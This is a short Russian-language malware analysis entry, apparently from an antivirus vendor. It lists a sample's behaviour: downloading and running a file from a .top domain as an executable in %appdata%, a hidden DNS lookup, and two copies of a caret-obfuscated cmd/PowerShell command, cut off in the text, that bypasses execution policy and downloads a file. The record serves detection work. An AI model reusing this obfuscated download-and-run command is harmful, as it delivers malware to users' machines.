Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://smoeroota.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^OwERs^H^ELL^.^ExE^ -E^xe^cuT^iO^npOl^Ic^y ^By^PasS^ -^n^o^pRo^fI^L^e ^-^winDo^wsTyLE^ H^idde^n (nEW-o^BJ^eCt S^YSte^m.^NeT.w^EbcLieN^t).DOWnLoaD^f^ILE('http://smoeroot...
Сетевая активность
UDP
- DNS ASK sm###oota.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^OwERs^H^ELL^.^ExE^ -E^xe^cuT^iO^npOl^Ic^y ^By^PasS^ -^n^o^pRo^fI^L^e ^-^winDo^wsTyLE^ H^idde^n (nEW-o^BJ^eCt S^YSte^m.^NeT.w^EbcLieN^t).DOWnLoaD^f^ILE('http://smoeroot...' (со скрытым окном)
